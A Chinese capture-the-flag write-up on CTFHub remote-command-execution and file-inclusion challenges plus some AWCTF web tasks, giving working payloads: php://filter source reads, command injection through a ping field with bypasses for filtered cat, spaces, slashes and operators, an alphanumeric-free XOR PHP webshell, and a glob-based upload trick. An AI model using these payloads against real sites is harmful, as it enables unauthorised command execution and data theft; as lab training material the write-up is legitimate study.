CTFHub-RCE 思路&AWCTF部分web题

RCE


RCE英文全称:remote command/code execute(远程命令/代码执行漏洞);

 
  RCE分为远程命令执行ping和远程代码执行evel。
  漏洞出现的原因:没有在输入口做输入处理。
  我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。
  一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。其实这就是一个接口,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统,这就是RCE漏洞。
 
  这里涉及到一个ping命令:
  Ping是Windows、Unix和Linux系统下的一个命令。ping也属于一个通信协议,是TCP/IP协议的一部分。利用“ping”命令可以检查网络是否连通,可以很好地帮助我们分析和判定网络故障。
 
  补充一些常用的管道符:
 
  Windows系统支持的管道符如下:
1. “|”:直接执行后面的语句。
2. “||”:如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。
3. “&”:两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
4. “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

  Linux系统支持的管道符如下:

1. “;”:执行完前面的语句再执行后面的语句。
2. “|”:显示后面语句的执行结果。
3. “||”:当前面的语句执行出错时,执行后面的语句。
4. “&”:两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。
5. “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

  

文件包含

 打开靶场之后发现有文件包含,并提示有一个shell.txt

#request = post + get

于是构造payload,往ctfhub里传参

 

php://input

 代码目的是限制只能使用php开头的伪协议

 

读取源代码

 审代码,照样只能使用php开头的伪协议,说flag在flag里

这里直接告诉了flag所在位置,考虑使用php伪协议中的filter协议直接提取出flag的内容

?file=php://filter/convert.base64-encode/resource=/flag

  

 最后的结果base64解码就出来了

远程包含

 

 offset

如果提供了此参数,搜索会从字符串该字符数的起始位置开始统计。 如果是负数,搜索会从字符串结尾指定字符数开始。

 

 

 这个好像跟之前那个一样。

eval执行

 

 如出一辙。

命令注入

 

发现直接cat 24608238216603.php 无回显,可能是编码问题。所以,

命令:

127.0.0.1&cat 24608238216603.php | base64  

  

base64解码

过滤cat

 

 过滤了cat,所以

       反斜杠 : 例如  ca flag.php

 
  连接符: 例如   ca''t fla''g.txt

 跟上个题类似,查看源码。

 

过滤空格

在 bash 下, 可以用以下字符代替空格:

<,<>,%20(space),%09(tab),$IFS$9, ${IFS},$IFS  等

  

所以,跟前几个题一样只要把空格部分替换成以上任一个即可

过滤目录分隔符

 
这次过滤了目录分割符 / 所以要转到相应目录再进行操作
 
 命令:127.0.0.1&cd flag_is_here;ls 
 
  cd  进入flag_is_here目录,
  ls  显示flag_is_here目录里的内容。

 然后直接

127.0.0.1&cd flag_is_here;cat flag_25491463815130.php

  

查看源代码

过滤运算符

过滤了 | 与 & ,那我们就使用 ; 分隔命令来代替

127.0.0.1;cat flag_176301717827402.php
跟前几个一样的,查看源代码

综合过滤练习

 
 
这应该是 最后一个了。

 好家伙,过滤了这么多

 url补充表

 

分隔符可以使用%0a代替
若直接使用文本框上传命令会导致字符被转义,直接访问URL

/?ip=127.0.0.1%0als => 127.0.0.1;ls

查看目录

 接下来要访问flag_is_here,需要绕过空格过滤、flag文字过滤并且显示文件夹的内容

  %09 代替 TAB键 (因为flag被过滤了,所以我们通过TAB来补全flag_is_here) %5c 代替 (用 来分隔开 cat ,因为cat也被过滤了)

 接下来

/?ip=127.0.0.1%0Acd%09*_is_here%0Aca	%09*_18107462926.php

  

查看源代码

AWCTF部分web题

 无参数

https://blog.csdn.net/qq_45781155/article/details/109366816

 data协议

 

 

 data协议 base64

 

 

 

</dev/null无过滤 

 

 无参数读取文件

 

 参考:https://www.freebuf.com/articles/web/261800.html

 就尝试着找,发现dirname行得通。

 

发现行不通,需要chdir改工作路径,所以多刷新几次就ok.

 

不包含数字和字母的webshell

 

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

 先url输一遍:?shell=$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);

 然后再hackbar

 

 

 无字母数字命令执行

 

参考:https://blog.csdn.net/weixin_54515836/article/details/113305690

附上脚本:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://xxxxxxxxxxxxxxxxxxx.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

在这个页面上上传1.php,然后抓包

#!/bin/sh
ls

最后的payload

?c=.+/???/????????[@-[]

原文地址:https://www.cnblogs.com/tac2664/p/14294262.html